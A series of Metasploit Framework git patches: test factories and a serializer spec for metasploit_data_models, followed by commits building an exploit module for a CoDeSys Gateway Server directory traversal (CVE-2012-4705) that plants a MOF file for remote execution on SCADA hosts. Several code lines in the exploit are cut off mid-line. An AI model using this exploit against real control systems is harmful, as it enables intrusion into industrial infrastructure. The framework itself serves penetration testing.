b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb new file mode 100644 index 0000000000..0c7e02a593 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb @@ -0,0 +1,35 @@ +FactoryGirl.define do + factory :mdm_service, :class => Mdm::Service do + # + # Associations + # + association :host, :factory => :mdm_host + + # + # Attributes + # + port 4567 + proto 'snmp' + state 'open' + + factory :web_service do + proto 'tcp' + name { FactoryGirl.generate(:web_service_name) } + port { FactoryGirl.generate(:port) } + end + end + + port_bits = 16 + port_limit = 1 << port_bits + + sequence :port do |n| + n % port_limit + end + + web_service_names = ['http', 'https'] + web_service_name_count = web_service_names.length + + sequence :web_service_name do |n| + web_service_names[n % web_service_name_count] + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb new file mode 100644 index 0000000000..46179882b3 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb @@ -0,0 +1,22 @@ +FactoryGirl.define do + factory :mdm_user, :class => Mdm::User do + admin true + company "Interplanetary Teleportation, LTD" + email "rwillingham@itl.com" + fullname { generate :mdm_user_fullname } + phone "5123334444" + username { generate :mdm_user_username } + end + + factory :non_admin_mdm_user, :parent => :mdm_user do + admin false + end + + sequence :mdm_user_fullname do |n| + "Mdm User Fullname the #{n.ordinalize}" + end + + sequence :mdm_user_username do |n| + "mdm_user_username#{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb new file mode 100644 index 0000000000..071b83c451 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb @@ -0,0 +1,8 @@ +FactoryGirl.define do + factory :mdm_web_site, :class => Mdm::WebSite do + # + # Associations + # + association :service, :factory => :mdm_service + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb new file mode 100644 index 0000000000..4bba254c7b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb @@ -0,0 +1,64 @@ +FactoryGirl.define do + factory :mdm_web_vuln, :class => Mdm::WebVuln do + # + # Associations + # + association :web_site, :factory => :mdm_web_site + + # + # Attributes + # + + category { generate :mdm_web_vuln_category } + confidence { generate :mdm_web_vuln_confidence } + method { generate :mdm_web_vuln_method } + name { generate :mdm_web_vuln_name } + path { generate :mdm_web_vuln_path } + params { generate :mdm_web_vuln_params } + pname { params.first.first } + proof { generate :mdm_web_vuln_proof } + risk { generate :mdm_web_vuln_risk } + end + + sequence :mdm_web_vuln_category do |n| + "mdm_web_vuln_category_#{n}" + end + + sequence :mdm_web_vuln_confidence do |n| + # range is from 1 to 100 so do mod 99 (0 - 99 range) and add 1 to get correct range + (n % 99) + 1 + end + + method_count = Mdm::WebVuln::METHODS.length + + sequence :mdm_web_vuln_method do |n| + Mdm::WebVuln::METHODS[n % method_count] + end + + sequence :mdm_web_vuln_name do |n| + "Web Vulnerability #{n}" + end + + sequence :mdm_web_vuln_path do |n| + "path/to/vulnerability/#{n}" + end + + sequence :mdm_web_vuln_params do |n| + [ + [ + "param#{n}", + "value#{n}" + ] + ] + end + + sequence :mdm_web_vuln_proof do |n| + "Mdm::WebVuln Proof #{n}" + end + + sequence :mdm_web_vuln_risk do |n| + # range is 0 .. 5 + n % 6 + + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb new file mode 100644 index 0000000000..38ffbc9077 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb @@ -0,0 +1,23 @@ +FactoryGirl.define do + factory :mdm_workspace, :class => Mdm::Workspace do + # + # Associations + # + association :owner, :factory => :mdm_user + + # + # Attributes + # + boundary { generate :mdm_ipv4_address } + description { generate :mdm_workspace_description } + name { generate :mdm_workspace_name } + end + + sequence :mdm_workspace_description do |n| + "Mdm::Workspace description #{n}" + end + + sequence :mdm_workspace_name do |n| + "Mdm::Workspace Name #{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb new file mode 100755 index 0000000000..89e48a684b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb @@ -0,0 +1,174 @@ +require "spec_helper" + +describe MetasploitDataModels::Base64Serializer do + let(:base64_marshaled) do + marshaled = Marshal.dump(unserialized) + + [ + marshaled + ].pack('m') + end + + let(:default) do + {} + end + + let(:unserialized) do + { + :foo => 'bar', + :baz => 'baz' + } + end + + let(:yaml) do + unserialized.to_yaml + end + + subject(:base64_serializer) do + described_class.new + end + + context 'CONSTANTS' do + it 'should define DEFAULT' do + described_class::DEFAULT.should == default + end + + context 'LOADERS' do + it 'should prefer base64 marshaled first' do + first = described_class::LOADERS[0] + deserialized = first.call(base64_marshaled) + + deserialized.should == unserialized + end + + it 'should fallback to the old YAML format second' do + second = described_class::LOADERS[1] + deserialized = second.call(yaml) + + deserialized.should == unserialized + end + + it 'should finally give up and just return the value' do + last = described_class::LOADERS.last + deserialized = last.call(unserialized) + + deserialized.should == unserialized + end + end + end + + context '#default' do + it 'should default to {}' do + base64_serializer.default.should == {} + end + + it 'should return a duplicate' do + duplicate = base64_serializer.default + value = mock('Value') + duplicate[:key] = value + + duplicate.should_not == base64_serializer.default + end + end + + context '#dump' do + it 'should output Base64 encoded marshaled data' do + dumped = base64_serializer.dump(unserialized) + + dumped.should == base64_marshaled + end + end + + context '#initialize' do + let(:attributes) do + {} + end + + subject(:base64_serializer) do + described_class.new(attributes) + end + + context 'with :default' do + let(:attributes) do + { + :default => default + } + end + + let(:default) do + [ + [ + 'param', + 'value' + ] + ] + end + + it 'should have :default in attributes' do + attributes.should have_key(:default) + end + + it 'should set default to :default value' do + base64_serializer.default.should == attributes[:default] + end + end + + context 'without :default' do + it 'should not have :default in attributes' do + attributes.should_not have_key(:default) + end + + it 'should default #default to DEFAULT' do + base64_serializer.default.should == default + end + end + end + + context '#load' do + context 'with nil' do + let(:serialized) do + nil + end + + it 'should return #default' do + default = mock('Default') + base64_serializer.stub(:default => default) + deserialized = base64_serializer.load(serialized) + + deserialized.should == default + end + end + + context 'with Base64 encoded marshaled' do + it 'should return unserialized' do + deserialized = base64_serializer.load(base64_marshaled) + + deserialized.should == unserialized + end + + end + + context 'with YAML' do + it 'should return unserialized' do + deserialized = base64_serializer.load(yaml) + + deserialized.should == unserialized + end + end + + context 'without Base64 encoded marshaled' do + context 'without YAML' do + let(:raw_value) do + "< a > b >" + end + + it 'should return raw value' do + deserialized = base64_serializer.load(raw_value) + + deserialized.should == raw_value + end + end + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb similarity index 66% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb index 32b4bef890..a619986a96 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb @@ -2,6 +2,8 @@ ENV['RAILS_ENV'] = 'test' require File.expand_path('../dummy/config/environment.rb', __FILE__) +require 'rspec/rails' +require 'rspec/autorun' require 'rubygems' require 'bundler' @@ -22,5 +24,12 @@ Dir.glob(support_glob) do |path| end RSpec.configure do |config| + config.before(:each) do + # Rex is only available when testing with metasploit-framework or pro, so stub out the methods that require it + Mdm::Workspace.any_instance.stub(:valid_ip_or_range? => true) + end + config.mock_with :rspec + config.use_transactional_fixtures = true + config.order = :random end diff --git a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec similarity index 97% rename from lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec rename to lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec index a88f2d9cd0..4a19d34025 100644 --- a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec @@ -2,11 +2,11 @@ Gem::Specification.new do |s| s.name = "metasploit_data_models" - s.version = "0.5.1" + s.version = "0.6.0" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Trevor Rosen"] - s.date = "2013-03-01" + s.date = "2013-03-06" s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions." s.email = ["trevor_rosen@rapid7.com"] s.executables = ["mdm_console"] From aa3a54fba00b82fbd9cd36692e744daf306a6be2 Mon Sep 17 00:00:00 2001 From: "Enrique A. Sanchez Montellano" Date: Wed, 6 Mar 2013 09:29:28 -0800 Subject: [PATCH 434/448] Added CoDeSyS Gateway.exe Server remote execution via arbitrary file creation --- ...codesys_gateway_server_remote_execution.rb | 109 ++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb new file mode 100644 index 0000000000..05c318e378 --- /dev/null +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -0,0 +1,109 @@ +#!/usr/bin/env ruby + +require 'msf/core' +class Metasploit3 < Msf::Exploit::Remote + + Rank = ExcellentRanking + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::WbemExec + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution', + 'Description' => %q{ + This module exploits arbitrary file creation to execute a mof file + gaining remote execution within the SCADA system + }, + 'Author' => + [ + 'Aaron Portnoy ', + 'Enrique Sanchez ' + ], + 'License' => 'MSF_LICENSE', + 'References' => + [ + ['Exodus Intel Training', '02-2013'] + ], + 'Platform' => 'win', + 'Targets' => + [ + ['Windows Universal', { }] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(1211), + ], self.class + ) + end + + def check + return Exploit::CheckCode::Vulnerable + end + + ## + # upload_file(remote_filepath, remote_filename, local_filedata) + # + # remote_filepath: Remote filepath where the file will be uploaded + # remote_filename: Remote name of the file to be executed ie. boot.ini + # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() + + def upload_file(remote_filepath, remote_filename, local_filedata = null) + magic_code = "\xdd\xdd" + opcode = [6].pack('L') + + # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ Date: Wed, 6 Mar 2013 10:44:29 -0800 Subject: [PATCH 435/448] Fixed EOL, bad indent, added header, removed #!/usr/env/ruby --- .../codesys_gateway_server_remote_execution.rb | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index 05c318e378..f849684d04 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -18,18 +18,17 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Aaron Portnoy ', 'Enrique Sanchez ' - ], + ], 'License' => 'MSF_LICENSE', 'References' => [ - ['Exodus Intel Training', '02-2013'] + ['ICSA-13-050-01', '02-19-2013'] ], 'Platform' => 'win', 'Targets' => [ - ['Windows Universal', { }] + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] ], 'DefaultTarget' => 0 )) @@ -77,12 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote print_status("File uploaded") end - def remove_file - end - - def read_file - end - def exploit print_status("- Attempting to communicate with SCADA system #{rhost} on port #{rport}") From aa5c9461aef6e667467af69f82e5ffbef3eb5fb9 Mon Sep 17 00:00:00 2001 From: "Enrique A. Sanchez Montellano" Date: Wed, 6 Mar 2013 10:50:31 -0800 Subject: [PATCH 436/448] Fixed more styling issues, EOL, tabs and headers --- ...codesys_gateway_server_remote_execution.rb | 199 +++++++++--------- 1 file changed, 101 insertions(+), 98 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index f849684d04..d728af5ba3 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -1,102 +1,105 @@ -#!/usr/bin/env ruby - +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com +## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - - Rank = ExcellentRanking - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Exploit::Remote::Tcp - include Msf::Exploit::WbemExec - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution', - 'Description' => %q{ - This module exploits arbitrary file creation to execute a mof file - gaining remote execution within the SCADA system - }, - 'Author' => - [ - 'Enrique Sanchez ' - ], - 'License' => 'MSF_LICENSE', - 'References' => - [ - ['ICSA-13-050-01', '02-19-2013'] - ], - 'Platform' => 'win', - 'Targets' => - [ - ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] - ], - 'DefaultTarget' => 0 - )) - - register_options( - [ - Opt::RPORT(1211), - ], self.class - ) - end - - def check - return Exploit::CheckCode::Vulnerable - end - ## - # upload_file(remote_filepath, remote_filename, local_filedata) - # - # remote_filepath: Remote filepath where the file will be uploaded - # remote_filename: Remote name of the file to be executed ie. boot.ini - # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() - - def upload_file(remote_filepath, remote_filename, local_filedata = null) - magic_code = "\xdd\xdd" - opcode = [6].pack('L') - - # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ 'SCADA 3S CoDeSys Gateway Server Remote Execution', + 'Description' => %q{ + This module exploits arbitrary file creation to execute a mof file + gaining remote execution within the SCADA system + }, + 'Author' => + [ + 'Enrique Sanchez ' + ], + 'License' => 'MSF_LICENSE', + 'References' => + [ + ['ICSA-13-050-01', '02-19-2013'] + ], + 'DisclosureDate' => 'Feb 02 2013', + 'Platform' => 'win', + 'Targets' => + [ + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(1211), + ], self.class) + end + + def check + return Exploit::CheckCode::Vulnerable + end + + ## + # upload_file(remote_filepath, remote_filename, local_filedata) + # + # remote_filepath: Remote filepath where the file will be uploaded + # remote_filename: Remote name of the file to be executed ie. boot.ini + # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() + + def upload_file(remote_filepath, remote_filename, local_filedata = null) + magic_code = "\xdd\xdd" + opcode = [6].pack('L') + + # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ Date: Wed, 6 Mar 2013 14:52:32 -0600 Subject: [PATCH 437/448] Whitespace --- lib/msf/base/simple/exploit.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 32b9eae5fa..36e45a38cd 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -63,7 +63,7 @@ module Exploit exploit = oexploit.replicant Msf::Simple::Framework.simplify_module( exploit, false ) yield(exploit) if block_given? - + # Import options from the OptionStr or Option hash. exploit._import_extra_options(opts) @@ -74,14 +74,14 @@ module Exploit # Verify the options exploit.options.validate(exploit.datastore) - + # Start it up driver = ExploitDriver.new(exploit.framework) # Initialize the driver instance driver.exploit = exploit driver.payload = exploit.framework.payloads.create(opts['Payload']) - + # Set the force wait for session flag if the caller requested force # blocking. This is so that passive exploits can be blocked on from # things like the cli. @@ -137,9 +137,9 @@ module Exploit # Save the job identifier this exploit is running as exploit.job_id = driver.job_id - + # Propagate this back to the caller for console mgmt - oexploit.job_id = exploit.job_id + oexploit.job_id = exploit.job_id rescue ::Interrupt exploit.error = $! raise $! From 16d7b625bc6da6d27f9e68837aebdaf77a81576b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Mar 2013 16:31:39 -0600 Subject: [PATCH 439/448] Format cleanup --- ...codesys_gateway_server_remote_execution.rb | 54 ++++++++++--------- 1 file changed, 28 insertions(+), 26 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index d728af5ba3..1a285839d6 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -4,10 +4,12 @@ # web site for more information on licensing and terms of use. # http://metasploit.com ## -require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Remote::Tcp @@ -15,27 +17,28 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution', - 'Description' => %q{ - This module exploits arbitrary file creation to execute a mof file - gaining remote execution within the SCADA system - }, - 'Author' => - [ - 'Enrique Sanchez ' - ], - 'License' => 'MSF_LICENSE', - 'References' => - [ - ['ICSA-13-050-01', '02-19-2013'] - ], - 'DisclosureDate' => 'Feb 02 2013', - 'Platform' => 'win', - 'Targets' => - [ - ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] - ], - 'DefaultTarget' => 0)) + 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal', + 'Description' => %q{ + This module exploits arbitrary file creation to execute a mof file + gaining remote execution within the SCADA system + }, + 'Author' => + [ + 'Enrique Sanchez ' + ], + 'License' => 'MSF_LICENSE', + 'References' => + [ + ['CVE', '2012-4705'], + ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf'] + ], + 'DisclosureDate' => 'Feb 02 2013', + 'Platform' => 'win', + 'Targets' => + [ + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] + ], + 'DefaultTarget' => 0)) register_options( [ @@ -53,16 +56,15 @@ class Metasploit3 < Msf::Exploit::Remote # remote_filepath: Remote filepath where the file will be uploaded # remote_filename: Remote name of the file to be executed ie. boot.ini # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() - def upload_file(remote_filepath, remote_filename, local_filedata = null) magic_code = "\xdd\xdd" opcode = [6].pack('L') # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ Date: Wed, 6 Mar 2013 16:32:53 -0600 Subject: [PATCH 440/448] That's not a real check... --- .../windows/scada/codesys_gateway_server_remote_execution.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index 1a285839d6..a7bc219c8b 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -46,10 +46,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def check - return Exploit::CheckCode::Vulnerable - end - ## # upload_file(remote_filepath, remote_filename, local_filedata) # From fee07678ddd39bd62b9f145bda652f532ccc4693 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Mar 2013 16:33:41 -0600 Subject: [PATCH 441/448] Rename module to better describe the bug. --- ...er_remote_execution.rb => codesys_gateway_server_traversal.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/scada/{codesys_gateway_server_remote_execution.rb => codesys_gateway_server_traversal.rb} (100%) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb similarity index 100% rename from modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb rename to modules/exploits/windows/scada/codesys_gateway_server_traversal.rb From b65f4100482d0088ff719a9612a9f6b36568c207 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Mar 2013 16:37:41 -0600 Subject: [PATCH 442/448] Updates the description --- .../windows/scada/codesys_gateway_server_traversal.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb index a7bc219c8b..999995d8b9 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -19,8 +19,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal', 'Description' => %q{ - This module exploits arbitrary file creation to execute a mof file - gaining remote execution within the SCADA system + This module exploits a directory traversal vulnerability that allows arbitrary + file creation, which can be used to execute a mof file in order to gain remote + execution within the SCADA system. }, 'Author' => [ From 56639e7f1534bb1ed590e1be98f10e468aeb551e Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:10:46 +0000 Subject: [PATCH 443/448] added license info --- modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index eb8924aea7..03405ccf57 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From 9e89d9608fed3b31f5ca1143ef9e2ceb76e2b42b Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:11:45 +0000 Subject: [PATCH 444/448] added license info --- modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index b6c9dba312..39fc16fbec 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From 1b493d0e4ca6b57dcf5b8534c38da214caf44b83 Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:16:26 +0000 Subject: [PATCH 445/448] added license info --- modules/auxiliary/admin/natpmp/natpmp_map.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index cbd59484ba..50d7948ed0 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'rex/proto/natpmp' From 3946cdf91e1252401121d0130dfa7f3120469bd4 Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:17:55 +0000 Subject: [PATCH 446/448] added license info --- modules/auxiliary/admin/scada/modicon_stux_transfer.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index dbbda3a618..b1908ad439 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From e8c1899dc261972968bfc361295fc6ca7ff9b0ef Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:18:32 +0000 Subject: [PATCH 447/448] added license info --- modules/auxiliary/admin/scada/modicon_command.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index 6881b15080..7ab4303d68 100644 --- a/modules/auxiliary/admin/scada/modicon_command.rb +++ b/modules/auxiliary/admin/scada/modicon_command.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From db1f4d7e1d63eeb8bc50d0168017bb45a971b3e0 Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:20:02 +0000 Subject: [PATCH 448/448] added license info --- modules/auxiliary/admin/smb/psexec_command.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 7be526fab2..7ca4152343 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -1,4 +1,9 @@ -#!/usr/bin/env ruby +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## require 'msf/core'